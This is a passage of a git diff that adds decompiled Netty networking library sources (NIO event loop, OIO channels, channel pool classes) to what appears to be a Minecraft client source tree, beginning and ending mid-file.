+      logger.warn("Failed to close a selector.", e);
+    }
+  }
+  
+  void cancel(SelectionKey key) {
+    key.cancel();
+    cancelledKeys += 1;
+    if (cancelledKeys >= 256) {
+      cancelledKeys = 0;
+      needsToSelectAgain = true;
+    }
+  }
+  
+  protected Runnable pollTask()
+  {
+    Runnable task = super.pollTask();
+    if (needsToSelectAgain) {
+      selectAgain();
+    }
+    return task;
+  }
+  
+
+
+  private void processSelectedKeysPlain(Set<SelectionKey> selectedKeys)
+  {
+    if (selectedKeys.isEmpty()) {
+      return;
+    }
+    
+    Iterator<SelectionKey> i = selectedKeys.iterator();
+    for (;;) {
+      SelectionKey k = (SelectionKey)i.next();
+      Object a = k.attachment();
+      i.remove();
+      
+      if ((a instanceof AbstractNioChannel)) {
+        processSelectedKey(k, (AbstractNioChannel)a);
+      }
+      else {
+        NioTask<SelectableChannel> task = (NioTask)a;
+        processSelectedKey(k, task);
+      }
+      
+      if (!i.hasNext()) {
+        break;
+      }
+      
+      if (needsToSelectAgain) {
+        selectAgain();
+        selectedKeys = selector.selectedKeys();
+        
+
+        if (selectedKeys.isEmpty()) {
+          break;
+        }
+        i = selectedKeys.iterator();
+      }
+    }
+  }
+  
+  private void processSelectedKeysOptimized(SelectionKey[] selectedKeys)
+  {
+    for (int i = 0;; i++) {
+      SelectionKey k = selectedKeys[i];
+      if (k == null) {
+        break;
+      }
+      
+
+      selectedKeys[i] = null;
+      
+      Object a = k.attachment();
+      
+      if ((a instanceof AbstractNioChannel)) {
+        processSelectedKey(k, (AbstractNioChannel)a);
+      }
+      else {
+        NioTask<SelectableChannel> task = (NioTask)a;
+        processSelectedKey(k, task);
+      }
+      
+      if (needsToSelectAgain)
+      {
+
+
+        while (selectedKeys[i] != null)
+        {
+
+          selectedKeys[i] = null;
+          i++;
+        }
+        
+        selectAgain();
+        
+
+
+
+
+        selectedKeys = this.selectedKeys.flip();
+        i = -1;
+      }
+    }
+  }
+  
+  private static void processSelectedKey(SelectionKey k, AbstractNioChannel ch) {
+    AbstractNioChannel.NioUnsafe unsafe = ch.unsafe();
+    if (!k.isValid())
+    {
+      unsafe.close(unsafe.voidPromise());
+      return;
+    }
+    try
+    {
+      int readyOps = k.readyOps();
+      
+
+      if (((readyOps & 0x11) != 0) || (readyOps == 0)) {
+        unsafe.read();
+        if (!ch.isOpen())
+        {
+          return;
+        }
+      }
+      if ((readyOps & 0x4) != 0)
+      {
+        ch.unsafe().forceFlush();
+      }
+      if ((readyOps & 0x8) != 0)
+      {
+
+        int ops = k.interestOps();
+        ops &= 0xFFFFFFF7;
+        k.interestOps(ops);
+        
+        unsafe.finishConnect();
+      }
+    } catch (CancelledKeyException ignored) {
+      unsafe.close(unsafe.voidPromise());
+    }
+  }
+  
+  private static void processSelectedKey(SelectionKey k, NioTask<SelectableChannel> task) {
+    int state = 0;
+    try {
+      task.channelReady(k.channel(), k);
+      state = 1;
+    } catch (Exception e) {
+      k.cancel();
+      invokeChannelUnregistered(task, k, e);
+      state = 2;
+    } finally {
+      switch (state) {
+      case 0: 
+        k.cancel();
+        invokeChannelUnregistered(task, k, null);
+        break;
+      case 1: 
+        if (!k.isValid()) {
+          invokeChannelUnregistered(task, k, null);
+        }
+        break;
+      }
+    }
+  }
+  
+  private void closeAll() {
+    selectAgain();
+    Set<SelectionKey> keys = selector.keys();
+    Collection<AbstractNioChannel> channels = new ArrayList(keys.size());
+    for (SelectionKey k : keys) {
+      Object a = k.attachment();
+      if ((a instanceof AbstractNioChannel)) {
+        channels.add((AbstractNioChannel)a);
+      } else {
+        k.cancel();
+        
+        NioTask<SelectableChannel> task = (NioTask)a;
+        invokeChannelUnregistered(task, k, null);
+      }
+    }
+    
+    for (AbstractNioChannel ch : channels) {
+      ch.unsafe().close(ch.unsafe().voidPromise());
+    }
+  }
+  
+  private static void invokeChannelUnregistered(NioTask<SelectableChannel> task, SelectionKey k, Throwable cause) {
+    try {
+      task.channelUnregistered(k.channel(), cause);
+    } catch (Exception e) {
+      logger.warn("Unexpected exception while running NioTask.channelUnregistered()", e);
+    }
+  }
+  
+  protected void wakeup(boolean inEventLoop)
+  {
+    if ((!inEventLoop) && (wakenUp.compareAndSet(false, true))) {
+      selector.wakeup();
+    }
+  }
+  
+  void selectNow() throws IOException {
+    try {
+      selector.selectNow();
+    }
+    finally {
+      if (wakenUp.get()) {
+        selector.wakeup();
+      }
+    }
+  }
+  
+  private void select(boolean oldWakenUp) throws IOException {
+    Selector selector = this.selector;
+    try {
+      int selectCnt = 0;
+      long currentTimeNanos = System.nanoTime();
+      long selectDeadLineNanos = currentTimeNanos + delayNanos(currentTimeNanos);
+      for (;;) {
+        long timeoutMillis = (selectDeadLineNanos - currentTimeNanos + 500000L) / 1000000L;
+        if (timeoutMillis <= 0L) {
+          if (selectCnt != 0) break;
+          selector.selectNow();
+          selectCnt = 1; break;
+        }
+        
+
+
+        int selectedKeys = selector.select(timeoutMillis);
+        selectCnt++;
+        
+        if ((selectedKeys != 0) || (oldWakenUp) || (wakenUp.get()) || (hasTasks()) || (hasScheduledTasks())) {
+          break;
+        }
+        
+
+
+
+        if (Thread.interrupted())
+        {
+
+
+
+
+          if (logger.isDebugEnabled()) {
+            logger.debug("Selector.select() returned prematurely because Thread.currentThread().interrupt() was called. Use NioEventLoop.shutdownGracefully() to shutdown the NioEventLoop.");
+          }
+          
+
+          selectCnt = 1;
+          break;
+        }
+        
+        long time = System.nanoTime();
+        if (time - TimeUnit.MILLISECONDS.toNanos(timeoutMillis) >= currentTimeNanos)
+        {
+          selectCnt = 1;
+        } else if ((SELECTOR_AUTO_REBUILD_THRESHOLD > 0) && (selectCnt >= SELECTOR_AUTO_REBUILD_THRESHOLD))
+        {
+
+
+          logger.warn("Selector.select() returned prematurely {} times in a row; rebuilding selector.", Integer.valueOf(selectCnt));
+          
+
+
+          rebuildSelector();
+          selector = this.selector;
+          
+
+          selector.selectNow();
+          selectCnt = 1;
+          break;
+        }
+        
+        currentTimeNanos = time;
+      }
+      
+      if ((selectCnt > 3) && 
+        (logger.isDebugEnabled())) {
+        logger.debug("Selector.select() returned prematurely {} times in a row.", Integer.valueOf(selectCnt - 1));
+      }
+    }
+    catch (CancelledKeyException e) {
+      if (logger.isDebugEnabled()) {
+        logger.debug(CancelledKeyException.class.getSimpleName() + " raised by a Selector - JDK bug?", e);
+      }
+    }
+  }
+  
+  private void selectAgain()
+  {
+    needsToSelectAgain = false;
+    try {
+      selector.selectNow();
+    } catch (Throwable t) {
+      logger.warn("Failed to update SelectionKeys.", t);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/nio/NioEventLoopGroup.java b/src/minecraft/io/netty/channel/nio/NioEventLoopGroup.java
new file mode 100644
index 0000000..8ecfc30
--- /dev/null
+++ b/src/minecraft/io/netty/channel/nio/NioEventLoopGroup.java
@@ -0,0 +1,89 @@
+package io.netty.channel.nio;
+
+import io.netty.channel.MultithreadEventLoopGroup;
+import io.netty.util.concurrent.EventExecutor;
+import java.nio.channels.spi.SelectorProvider;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioEventLoopGroup
+  extends MultithreadEventLoopGroup
+{
+  public NioEventLoopGroup()
+  {
+    this(0);
+  }
+  
+
+
+
+  public NioEventLoopGroup(int nThreads)
+  {
+    this(nThreads, null);
+  }
+  
+
+
+
+  public NioEventLoopGroup(int nThreads, ThreadFactory threadFactory)
+  {
+    this(nThreads, threadFactory, SelectorProvider.provider());
+  }
+  
+
+
+
+
+  public NioEventLoopGroup(int nThreads, ThreadFactory threadFactory, SelectorProvider selectorProvider)
+  {
+    super(nThreads, threadFactory, new Object[] { selectorProvider });
+  }
+  
+
+
+
+  public void setIoRatio(int ioRatio)
+  {
+    for (EventExecutor e : children()) {
+      ((NioEventLoop)e).setIoRatio(ioRatio);
+    }
+  }
+  
+
+
+
+  public void rebuildSelectors()
+  {
+    for (EventExecutor e : children()) {
+      ((NioEventLoop)e).rebuildSelector();
+    }
+  }
+  
+  protected EventExecutor newChild(ThreadFactory threadFactory, Object... args)
+    throws Exception
+  {
+    return new NioEventLoop(this, threadFactory, (SelectorProvider)args[0]);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/nio/NioTask.java b/src/minecraft/io/netty/channel/nio/NioTask.java
new file mode 100644
index 0000000..e27a778
--- /dev/null
+++ b/src/minecraft/io/netty/channel/nio/NioTask.java
@@ -0,0 +1,13 @@
+package io.netty.channel.nio;
+
+import java.nio.channels.SelectableChannel;
+import java.nio.channels.SelectionKey;
+
+public abstract interface NioTask<C extends SelectableChannel>
+{
+  public abstract void channelReady(C paramC, SelectionKey paramSelectionKey)
+    throws Exception;
+  
+  public abstract void channelUnregistered(C paramC, Throwable paramThrowable)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/nio/SelectedSelectionKeySet.java b/src/minecraft/io/netty/channel/nio/SelectedSelectionKeySet.java
new file mode 100644
index 0000000..df4325d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/nio/SelectedSelectionKeySet.java
@@ -0,0 +1,110 @@
+package io.netty.channel.nio;
+
+import java.nio.channels.SelectionKey;
+import java.util.AbstractSet;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SelectedSelectionKeySet
+  extends AbstractSet<SelectionKey>
+{
+  private SelectionKey[] keysA;
+  private int keysASize;
+  private SelectionKey[] keysB;
+  private int keysBSize;
+  private boolean isA = true;
+  
+  SelectedSelectionKeySet() {
+    keysA = new SelectionKey['Ѐ'];
+    keysB = ((SelectionKey[])keysA.clone());
+  }
+  
+  public boolean add(SelectionKey o)
+  {
+    if (o == null) {
+      return false;
+    }
+    
+    if (isA) {
+      int size = keysASize;
+      keysA[(size++)] = o;
+      keysASize = size;
+      if (size == keysA.length) {
+        doubleCapacityA();
+      }
+    } else {
+      int size = keysBSize;
+      keysB[(size++)] = o;
+      keysBSize = size;
+      if (size == keysB.length) {
+        doubleCapacityB();
+      }
+    }
+    
+    return true;
+  }
+  
+  private void doubleCapacityA() {
+    SelectionKey[] newKeysA = new SelectionKey[keysA.length << 1];
+    System.arraycopy(keysA, 0, newKeysA, 0, keysASize);
+    keysA = newKeysA;
+  }
+  
+  private void doubleCapacityB() {
+    SelectionKey[] newKeysB = new SelectionKey[keysB.length << 1];
+    System.arraycopy(keysB, 0, newKeysB, 0, keysBSize);
+    keysB = newKeysB;
+  }
+  
+  SelectionKey[] flip() {
+    if (isA) {
+      isA = false;
+      keysA[keysASize] = null;
+      keysBSize = 0;
+      return keysA;
+    }
+    isA = true;
+    keysB[keysBSize] = null;
+    keysASize = 0;
+    return keysB;
+  }
+  
+
+  public int size()
+  {
+    if (isA) {
+      return keysASize;
+    }
+    return keysBSize;
+  }
+  
+
+  public boolean remove(Object o)
+  {
+    return false;
+  }
+  
+  public boolean contains(Object o)
+  {
+    return false;
+  }
+  
+  public Iterator<SelectionKey> iterator()
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/oio/AbstractOioByteChannel.java b/src/minecraft/io/netty/channel/oio/AbstractOioByteChannel.java
new file mode 100644
index 0000000..80fb277
--- /dev/null
+++ b/src/minecraft/io/netty/channel/oio/AbstractOioByteChannel.java
@@ -0,0 +1,240 @@
+package io.netty.channel.oio;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.FileRegion;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.socket.ChannelInputShutdownEvent;
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractOioByteChannel
+  extends AbstractOioChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  private static final String EXPECTED_TYPES = " (expected: " + StringUtil.simpleClassName(ByteBuf.class) + ", " + StringUtil.simpleClassName(FileRegion.class) + ')';
+  
+
+  private RecvByteBufAllocator.Handle allocHandle;
+  
+
+  private volatile boolean inputShutdown;
+  
+
+  protected AbstractOioByteChannel(Channel parent)
+  {
+    super(parent);
+  }
+  
+  protected boolean isInputShutdown() {
+    return inputShutdown;
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+
+
+
+  protected boolean checkInputShutdown()
+  {
+    if (inputShutdown) {
+      try {
+        Thread.sleep(1000L);
+      }
+      catch (InterruptedException e) {}
+      
+      return true;
+    }
+    return false;
+  }
+  
+  protected void doRead()
+  {
+    if (checkInputShutdown()) {
+      return;
+    }
+    ChannelConfig config = config();
+    ChannelPipeline pipeline = pipeline();
+    
+    RecvByteBufAllocator.Handle allocHandle = this.allocHandle;
+    if (allocHandle == null) {
+      this.allocHandle = (allocHandle = config.getRecvByteBufAllocator().newHandle());
+    }
+    
+    ByteBuf byteBuf = allocHandle.allocate(alloc());
+    
+    boolean closed = false;
+    boolean read = false;
+    Throwable exception = null;
+    int localReadAmount = 0;
+    try {
+      int totalReadAmount = 0;
+      for (;;)
+      {
+        localReadAmount = doReadBytes(byteBuf);
+        if (localReadAmount > 0) {
+          read = true;
+        } else if (localReadAmount < 0) {
+          closed = true;
+        }
+        
+        int available = available();
+        if (available <= 0) {
+          break;
+        }
+        
+        if (!byteBuf.isWritable()) {
+          int capacity = byteBuf.capacity();
+          int maxCapacity = byteBuf.maxCapacity();
+          if (capacity == maxCapacity) {
+            if (read) {
+              read = false;
+              pipeline.fireChannelRead(byteBuf);
+              byteBuf = alloc().buffer();
+            }
+          } else {
+            int writerIndex = byteBuf.writerIndex();
+            if (writerIndex + available > maxCapacity) {
+              byteBuf.capacity(maxCapacity);
+            } else {
+              byteBuf.ensureWritable(available);
+            }
+          }
+        }
+        
+        if (totalReadAmount >= Integer.MAX_VALUE - localReadAmount)
+        {
+          totalReadAmount = Integer.MAX_VALUE;
+        }
+        else
+        {
+          totalReadAmount += localReadAmount;
+          
+          if (!config.isAutoRead()) {
+            break;
+          }
+        }
+      }
+      
+      allocHandle.record(totalReadAmount);
+    }
+    catch (Throwable t) {
+      exception = t;
+    } finally {
+      if (read) {
+        pipeline.fireChannelRead(byteBuf);
+      }
+      else {
+        byteBuf.release();
+      }
+      
+      pipeline.fireChannelReadComplete();
+      if (exception != null) {
+        if ((exception instanceof IOException)) {
+          closed = true;
+          pipeline().fireExceptionCaught(exception);
+        } else {
+          pipeline.fireExceptionCaught(exception);
+          unsafe().close(voidPromise());
+        }
+      }
+      
+      if (closed) {
+        inputShutdown = true;
+        if (isOpen()) {
+          if (Boolean.TRUE.equals(config().getOption(ChannelOption.ALLOW_HALF_CLOSURE))) {
+            pipeline.fireUserEventTriggered(ChannelInputShutdownEvent.INSTANCE);
+          } else {
+            unsafe().close(unsafe().voidPromise());
+          }
+        }
+      }
+      if ((localReadAmount == 0) && (isActive()))
+      {
+
+
+
+
+
+        read();
+      }
+    }
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    for (;;) {
+      Object msg = in.current();
+      if (msg == null) {
+        break;
+      }
+      
+      if ((msg instanceof ByteBuf)) {
+        ByteBuf buf = (ByteBuf)msg;
+        int readableBytes = buf.readableBytes();
+        while (readableBytes > 0) {
+          doWriteBytes(buf);
+          int newReadableBytes = buf.readableBytes();
+          in.progress(readableBytes - newReadableBytes);
+          readableBytes = newReadableBytes;
+        }
+        in.remove();
+      } else if ((msg instanceof FileRegion)) {
+        FileRegion region = (FileRegion)msg;
+        long transfered = region.transfered();
+        doWriteFileRegion(region);
+        in.progress(region.transfered() - transfered);
+        in.remove();
+      } else {
+        in.remove(new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg)));
+      }
+    }
+  }
+  
+  protected final Object filterOutboundMessage(Object msg)
+    throws Exception
+  {
+    if (((msg instanceof ByteBuf)) || ((msg instanceof FileRegion))) {
+      return msg;
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPES);
+  }
+  
+  protected abstract int available();
+  
+  protected abstract int doReadBytes(ByteBuf paramByteBuf)
+    throws Exception;
+  
+  protected abstract void doWriteBytes(ByteBuf paramByteBuf)
+    throws Exception;
+  
+  protected abstract void doWriteFileRegion(FileRegion paramFileRegion)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/oio/AbstractOioChannel.java b/src/minecraft/io/netty/channel/oio/AbstractOioChannel.java
new file mode 100644
index 0000000..cb1e73e
--- /dev/null
+++ b/src/minecraft/io/netty/channel/oio/AbstractOioChannel.java
@@ -0,0 +1,119 @@
+package io.netty.channel.oio;
+
+import io.netty.channel.AbstractChannel;
+import io.netty.channel.AbstractChannel.AbstractUnsafe;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.ThreadPerChannelEventLoop;
+import java.net.ConnectException;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractOioChannel
+  extends AbstractChannel
+{
+  protected static final int SO_TIMEOUT = 1000;
+  private volatile boolean readPending;
+  private final Runnable readTask = new Runnable()
+  {
+    public void run() {
+      if ((!isReadPending()) && (!config().isAutoRead()))
+      {
+        return;
+      }
+      
+      setReadPending(false);
+      doRead();
+    }
+  };
+  
+
+
+  protected AbstractOioChannel(Channel parent)
+  {
+    super(parent);
+  }
+  
+
+
+  protected AbstractChannel.AbstractUnsafe newUnsafe() { return new DefaultOioUnsafe(null); }
+  
+  private final class DefaultOioUnsafe extends AbstractChannel.AbstractUnsafe {
+    private DefaultOioUnsafe() { super(); }
+    
+
+    public void connect(SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    {
+      if ((!promise.setUncancellable()) || (!ensureOpen(promise))) {
+        return;
+      }
+      try
+      {
+        boolean wasActive = isActive();
+        doConnect(remoteAddress, localAddress);
+        safeSetSuccess(promise);
+        if ((!wasActive) && (isActive())) {
+          pipeline().fireChannelActive();
+        }
+      } catch (Throwable t) {
+        if ((t instanceof ConnectException)) {
+          Throwable newT = new ConnectException(t.getMessage() + ": " + remoteAddress);
+          newT.setStackTrace(t.getStackTrace());
+          t = newT;
+        }
+        safeSetFailure(promise, t);
+        closeIfClosed();
+      }
+    }
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return loop instanceof ThreadPerChannelEventLoop;
+  }
+  
+
+  protected abstract void doConnect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2)
+    throws Exception;
+  
+
+  protected void doBeginRead()
+    throws Exception
+  {
+    if (isReadPending()) {
+      return;
+    }
+    
+    setReadPending(true);
+    eventLoop().execute(readTask);
+  }
+  
+  protected abstract void doRead();
+  
+  protected boolean isReadPending() {
+    return readPending;
+  }
+  
+  protected void setReadPending(boolean readPending) {
+    this.readPending = readPending;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/oio/AbstractOioMessageChannel.java b/src/minecraft/io/netty/channel/oio/AbstractOioMessageChannel.java
new file mode 100644
index 0000000..2834e2a
--- /dev/null
+++ b/src/minecraft/io/netty/channel/oio/AbstractOioMessageChannel.java
@@ -0,0 +1,97 @@
+package io.netty.channel.oio;
+
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelPipeline;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractOioMessageChannel
+  extends AbstractOioChannel
+{
+  private final List<Object> readBuf = new ArrayList();
+  
+  protected AbstractOioMessageChannel(Channel parent) {
+    super(parent);
+  }
+  
+  protected void doRead()
+  {
+    ChannelConfig config = config();
+    ChannelPipeline pipeline = pipeline();
+    boolean closed = false;
+    int maxMessagesPerRead = config.getMaxMessagesPerRead();
+    
+    Throwable exception = null;
+    int localRead = 0;
+    try {
+      for (;;) {
+        localRead = doReadMessages(readBuf);
+        if (localRead != 0)
+        {
+
+          if (localRead < 0) {
+            closed = true;
+
+
+          }
+          else if (readBuf.size() < maxMessagesPerRead) if (!config.isAutoRead())
+              break;
+        }
+      }
+    } catch (Throwable t) {
+      exception = t;
+    }
+    
+    int size = readBuf.size();
+    for (int i = 0; i < size; i++) {
+      pipeline.fireChannelRead(readBuf.get(i));
+    }
+    readBuf.clear();
+    pipeline.fireChannelReadComplete();
+    
+    if (exception != null) {
+      if ((exception instanceof IOException)) {
+        closed = true;
+      }
+      
+      pipeline().fireExceptionCaught(exception);
+    }
+    
+    if (closed) {
+      if (isOpen()) {
+        unsafe().close(unsafe().voidPromise());
+      }
+    } else if ((localRead == 0) && (isActive()))
+    {
+
+
+
+
+
+      read();
+    }
+  }
+  
+  protected abstract int doReadMessages(List<Object> paramList)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/oio/OioByteStreamChannel.java b/src/minecraft/io/netty/channel/oio/OioByteStreamChannel.java
new file mode 100644
index 0000000..1cbd5c6
--- /dev/null
+++ b/src/minecraft/io/netty/channel/oio/OioByteStreamChannel.java
@@ -0,0 +1,168 @@
+package io.netty.channel.oio;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.FileRegion;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.channels.Channels;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.NotYetConnectedException;
+import java.nio.channels.WritableByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class OioByteStreamChannel
+  extends AbstractOioByteChannel
+{
+  private static final InputStream CLOSED_IN = new InputStream()
+  {
+    public int read() {
+      return -1;
+    }
+  };
+  
+  private static final OutputStream CLOSED_OUT = new OutputStream()
+  {
+    public void write(int b) throws IOException {
+      throw new ClosedChannelException();
+    }
+  };
+  
+
+  private InputStream is;
+  
+
+  private OutputStream os;
+  
+  private WritableByteChannel outChannel;
+  
+
+  protected OioByteStreamChannel(Channel parent)
+  {
+    super(parent);
+  }
+  
+
+
+  protected final void activate(InputStream is, OutputStream os)
+  {
+    if (this.is != null) {
+      throw new IllegalStateException("input was set already");
+    }
+    if (this.os != null) {
+      throw new IllegalStateException("output was set already");
+    }
+    if (is == null) {
+      throw new NullPointerException("is");
+    }
+    if (os == null) {
+      throw new NullPointerException("os");
+    }
+    this.is = is;
+    this.os = os;
+  }
+  
+  public boolean isActive()
+  {
+    InputStream is = this.is;
+    if ((is == null) || (is == CLOSED_IN)) {
+      return false;
+    }
+    
+    OutputStream os = this.os;
+    return (os != null) && (os != CLOSED_OUT);
+  }
+  
+  protected int available()
+  {
+    try {
+      return is.available();
+    } catch (IOException ignored) {}
+    return 0;
+  }
+  
+  protected int doReadBytes(ByteBuf buf)
+    throws Exception
+  {
+    int length = Math.max(1, Math.min(available(), buf.maxWritableBytes()));
+    return buf.writeBytes(is, length);
+  }
+  
+  protected void doWriteBytes(ByteBuf buf) throws Exception
+  {
+    OutputStream os = this.os;
+    if (os == null) {
+      throw new NotYetConnectedException();
+    }
+    buf.readBytes(os, buf.readableBytes());
+  }
+  
+  protected void doWriteFileRegion(FileRegion region) throws Exception
+  {
+    OutputStream os = this.os;
+    if (os == null) {
+      throw new NotYetConnectedException();
+    }
+    if (outChannel == null) {
+      outChannel = Channels.newChannel(os);
+    }
+    
+    long written = 0L;
+    for (;;) {
+      long localWritten = region.transferTo(outChannel, written);
+      if (localWritten == -1L) {
+        checkEOF(region);
+        return;
+      }
+      written += localWritten;
+      
+      if (written >= region.count()) {
+        return;
+      }
+    }
+  }
+  
+  private static void checkEOF(FileRegion region) throws IOException {
+    if (region.transfered() < region.count()) {
+      throw new EOFException("Expected to be able to write " + region.count() + " bytes, " + "but only wrote " + region.transfered());
+    }
+  }
+  
+  protected void doClose()
+    throws Exception
+  {
+    InputStream is = this.is;
+    OutputStream os = this.os;
+    this.is = CLOSED_IN;
+    this.os = CLOSED_OUT;
+    try
+    {
+      if (is != null) {
+        is.close();
+      }
+    } finally {
+      if (os != null) {
+        os.close();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/oio/OioEventLoopGroup.java b/src/minecraft/io/netty/channel/oio/OioEventLoopGroup.java
new file mode 100644
index 0000000..0a1bf64
--- /dev/null
+++ b/src/minecraft/io/netty/channel/oio/OioEventLoopGroup.java
@@ -0,0 +1,69 @@
+package io.netty.channel.oio;
+
+import io.netty.channel.ThreadPerChannelEventLoopGroup;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OioEventLoopGroup
+  extends ThreadPerChannelEventLoopGroup
+{
+  public OioEventLoopGroup()
+  {
+    this(0);
+  }
+  
+
+
+
+
+
+
+
+
+  public OioEventLoopGroup(int maxChannels)
+  {
+    this(maxChannels, Executors.defaultThreadFactory());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public OioEventLoopGroup(int maxChannels, ThreadFactory threadFactory)
+  {
+    super(maxChannels, threadFactory, new Object[0]);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/pool/AbstractChannelPoolHandler.java b/src/minecraft/io/netty/channel/pool/AbstractChannelPoolHandler.java
new file mode 100644
index 0000000..02d9bcd
--- /dev/null
+++ b/src/minecraft/io/netty/channel/pool/AbstractChannelPoolHandler.java
@@ -0,0 +1,17 @@
+package io.netty.channel.pool;
+
+import io.netty.channel.Channel;
+
+public abstract class AbstractChannelPoolHandler
+  implements ChannelPoolHandler
+{
+  public AbstractChannelPoolHandler() {}
+  
+  public void channelAcquired(Channel ch)
+    throws Exception
+  {}
+  
+  public void channelReleased(Channel ch)
+    throws Exception
+  {}
+}
diff --git a/src/minecraft/io/netty/channel/pool/AbstractChannelPoolMap.java b/src/minecraft/io/netty/channel/pool/AbstractChannelPoolMap.java
new file mode 100644
index 0000000..e4b7566
--- /dev/null
+++ b/src/minecraft/io/netty/channel/pool/AbstractChannelPoolMap.java
@@ -0,0 +1,100 @@
+package io.netty.channel.pool;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.ReadOnlyIterator;
+import java.io.Closeable;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractChannelPoolMap<K, P extends ChannelPool>
+  implements ChannelPoolMap<K, P>, Iterable<Map.Entry<K, P>>, Closeable
+{
+  private final ConcurrentMap<K, P> map = PlatformDependent.newConcurrentHashMap();
+  
+  public AbstractChannelPoolMap() {}
+  
+  public final P get(K key) { P pool = (ChannelPool)map.get(ObjectUtil.checkNotNull(key, "key"));
+    if (pool == null) {
+      pool = newPool(key);
+      P old = (ChannelPool)map.putIfAbsent(key, pool);
+      if (old != null)
+      {
+        pool.close();
+        pool = old;
+      }
+    }
+    return pool;
+  }
+  
+
+
+
+
+  public final boolean remove(K key)
+  {
+    P pool = (ChannelPool)map.remove(ObjectUtil.checkNotNull(key, "key"));
+    if (pool != null) {
+      pool.close();
+      return true;
+    }
+    return false;
+  }
+  
+  public final Iterator<Map.Entry<K, P>> iterator()
+  {
+    return new ReadOnlyIterator(map.entrySet().iterator());
+  }
+  
+
+
+  public final int size()
+  {
+    return map.size();
+  }
+  
+
+
+  public final boolean isEmpty()
+  {
+    return map.isEmpty();
+  }
+  
+  public final boolean contains(K key)
+  {
+    return map.containsKey(ObjectUtil.checkNotNull(key, "key"));
+  }
+  
+
+
+  protected abstract P newPool(K paramK);
+  
+
+  public final void close()
+  {
+    for (K key : map.keySet()) {
+      remove(key);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/pool/ChannelHealthChecker.java b/src/minecraft/io/netty/channel/pool/ChannelHealthChecker.java
new file mode 100644
index 0000000..c70cd3d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/pool/ChannelHealthChecker.java
@@ -0,0 +1,41 @@
+package io.netty.channel.pool;
+
+import io.netty.channel.Channel;
+import io.netty.channel.EventLoop;
+import io.netty.util.concurrent.Future;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface ChannelHealthChecker
+{
+  public static final ChannelHealthChecker ACTIVE = new ChannelHealthChecker()
+  {
+    public Future<Boolean> isHealthy(Channel channel) {
+      EventLoop loop = channel.eventLoop();
+      return channel.isActive() ? loop.newSucceededFuture(Boolean.TRUE) : loop.newSucceededFuture(Boolean.FALSE);
+    }
+  };
+  
+  public abstract Future<Boolean> isHealthy(Channel paramChannel);
+}
diff --git a/src/minecraft/io/netty/channel/pool/ChannelPool.java b/src/minecraft/io/netty/channel/pool/ChannelPool.java
new file mode 100644
index 0000000..453d966
--- /dev/null
+++ b/src/minecraft/io/netty/channel/pool/ChannelPool.java
@@ -0,0 +1,20 @@
+package io.netty.channel.pool;
+
+import io.netty.channel.Channel;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+import java.io.Closeable;
+
+public abstract interface ChannelPool
